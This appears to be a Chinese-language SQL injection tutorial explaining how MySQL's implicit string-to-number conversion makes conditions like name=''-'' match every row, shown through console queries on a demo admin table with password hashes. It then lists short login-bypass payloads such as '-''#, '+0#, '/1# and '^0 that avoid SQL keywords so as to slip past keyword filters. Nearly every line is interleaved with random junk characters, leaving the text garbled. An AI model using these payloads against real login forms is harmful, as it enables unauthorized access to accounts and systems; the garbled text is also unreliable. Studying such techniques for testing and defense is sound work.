我们先来看这样一个场景。
5 t3 N& p; _/ b& l2 G有以下表结构: 9 }+ L5 a/ l4 d6 q+ l
0 g. m0 }2 d5 J/ Pmysql> desc admin;
2 E% B2 K' ^, a$ D5 t; B+----------+--------------+------+-----+---------+----------------++ _! z: ~/ F& ^8 c
| Field | Type | Null | Key | Default | Extra |# g+ n4 v( H p) l& ~2 D
+----------+--------------+------+-----+---------+----------------+
+ F( n; U9 B" c| id | mediumint(9) | NO | PRI | NULL | auto_increment |2 j" P2 y6 s; Z9 N% `7 V0 ^' K3 n& i
| name | char(32) | NO | UNI | NULL | |" C, C/ T1 X2 s9 n8 J
| password | char(32) | NO | UNI | NULL | |4 M: Z$ y9 Y9 I3 M5 g8 |+ x# s8 V
+----------+--------------+------+-----+---------+----------------+9 G2 y# Q# Y6 d' k" d: q
3 rows in set (0.00 sec)8 |, x1 }8 X8 ~% l$ m' J
执行select * from admin;,成功返回所有记录内容。" _% v9 m* C3 Z) ]/ W9 m
* M1 f2 h- ^- d: m
n" J/ y. p2 W: h
+----+--------+----------------------------------+8 n1 V1 h& l5 q ]$ \
| id | name | password |$ E( O6 ] C% B6 [+ j! R" ~7 X
+----+--------+----------------------------------+7 O3 W" l& |9 b
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
{ J# H! l( M& i6 ?" q| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |- \, [7 o+ n/ ]* o. d2 U* ?
| 4 | n00b | ff80e8508d39047460921792273533a4 |
8 x0 Y9 ]: Y4 l# K8 \# W+----+--------+----------------------------------+
) T I2 W3 c/ S1 Y& L4 N4 j3 rows in set (0.00 sec)
6 M6 n$ W. f8 H; \. W执行select * from admin where name=”;,没有匹配到任何记录。 7 t0 M# N0 r$ } M3 R9 u6 l" P. z9 a
; f [6 P O; \- S/ r1 h* y
mysql> select * from admin where name = '';
( c' \. Y+ g4 k# ~4 u( p3 cEmpty set (0.00 sec)
$ i+ p" g: L/ S% R5 Z4 g$ K- f那么我们来执行select * from admin where name = ”-”;+ _3 Y/ U" D! F0 t A3 z
. z5 g, J. f: x' ^; R6 D6 I7 V$ u/ r' \7 S' z0 v$ G
+----+--------+----------------------------------+ ^/ X1 `; U. A; ]# ]) k
| id | name | password |. K) a% V1 O, F9 r7 y6 `# U7 L; Z
+----+--------+----------------------------------+2 A- v% Z1 X$ E4 i
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |/ w \4 U9 J9 b: }' w4 ~) Y
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |$ S* E: [4 n M1 v' Y
| 4 | n00b | ff80e8508d39047460921792273533a4 |& g( ?4 X- V$ @8 u) i+ L4 D4 `
+----+--------+----------------------------------+, |3 ~' F! F2 m N& L
3 rows in set, 3 warnings (0.00 sec)
8 g7 }& Q1 N9 e; ~0 \6 S+ S可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: 9 n* R5 h! _# {
% }. _: T j8 ~% l* _/ i, g# h
mysql> show warnings;- ]$ N, { b: g
+---------+------+------------------------------------------
1 x8 X0 f" O9 U1 E5 K& d$ [$ ]% d) P| Level | Code | Message3 [9 G! h# Z8 n$ a
+---------+------+------------------------------------------
& } ]% B+ R# \' c0 G2 ^: F, @1 w| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin- i- b2 }. {6 ?
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s& W' G8 a6 C8 U/ i# E3 r
| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
, \- L2 `$ x2 i! ?+---------+------+------------------------------------------, W5 L0 p3 _5 H2 l, A
3 rows in set (0.00 sec)- ]7 t# R* m; o6 @# S; w3 a
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
% \6 b# l. s) N9 K6 p5 N
1 N4 T/ G7 z) ]) Xmysql> select ''-'';. b' m" F( g/ |8 ]% r
+-------+
0 k: D( H( @3 J b. l; `| ''-'' |! k5 M: x+ ~3 J* e8 o* g: M- A! Z
+-------+3 c& K. y# L2 s5 I
| 0 |
3 o8 r6 t- G1 y. t8 \+-------+
/ C. J9 }* J6 ]1 row in set (0.00 sec)
1 R l; r. B- e' I返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
' V [6 ~! Z+ v0 ~4 _; f
" P: m# N8 O N! V& A; emysql> select CAST((select name from admin limit 1,1) as DECIMAL);
5 u- j H5 e/ K+-----------------------------------------------------+
, w a: g+ [1 f0 N, e! \| CAST((select name from admin limit 1,1) as DECIMAL) |
2 z& m) Z. L9 X. t K/ N+-----------------------------------------------------+& O8 S/ ~1 D3 [' u' A, Z& x
| 0 | X! ~2 T: Q7 i2 w( n+ y
+-----------------------------------------------------+3 e* c O" i/ Y' ]/ f
1 row in set, 1 warning (0.00 sec). X+ E* `+ h4 X) ^7 O4 Z, }. |8 h
因此where语句构成了相等的条件,where 0=”=”,记录被返回。 ! t8 i! M; O# \8 ^* @5 ]/ c
& H/ U0 f% D5 XSQL注入场景: http://www.sqlzoo.net/hack/
" y7 ^- k7 J3 W- ~+ C/ l
, V3 r% _" @- U! @7 `: Q
& Y: k- o6 n7 U$ F9 K) K8 I
" s- M1 m# x" Q. }# ^# R( l. Y! c3 b) Q# [( L8 V+ w
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 5 o% f5 r1 S. P/ K5 \% z
7 J5 P* `7 T8 b2 i8 c
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
5 P1 e) J$ _% J0 }) l; D6 w+ _) V; w. l) Z5 @
/ Y8 z/ T! d* l! h( r
4 S% N; S$ q2 ~
* ^7 }2 R4 q- ?" b7 q a
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
! I$ i6 t+ R+ D0 c& E' z, q- J; P
6 M2 o' U$ r# T& o ( \2 Z2 M% l3 x# ?4 N
$ d% c& n7 G' {, u' i% g4 r( X$ D
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
# x) z0 i) ^2 m4 l" V( X9 X: N# `6 O1 k4 C# w! a4 `6 y3 {
/ D2 [( V2 J% R6 O6 t" O$ r
mysql> select ''/1;1 b) ^5 m, m( B3 q* @! {) B9 N
+------+3 j3 B# f! h4 c2 T3 E
| ''/1 |
9 U" ~8 H- i. V' f3 i+------+% e$ Z( F: E( D2 z1 _
| 0 |3 D' R! b0 L+ V$ B' L! X) g# U
+------+7 o4 t" ]9 w0 { C6 f2 @" T, Y O. ?
1 row in set (0.00 sec)
3 ~' C$ o& b! p- d类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。 1 x' _7 Q8 U/ T9 \# y% k( n( Z
6 @) n# `- Q7 Z, N8 C1 ^利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。, \" b) l7 f j/ Y, s, @- _/ p+ Y+ h
|
|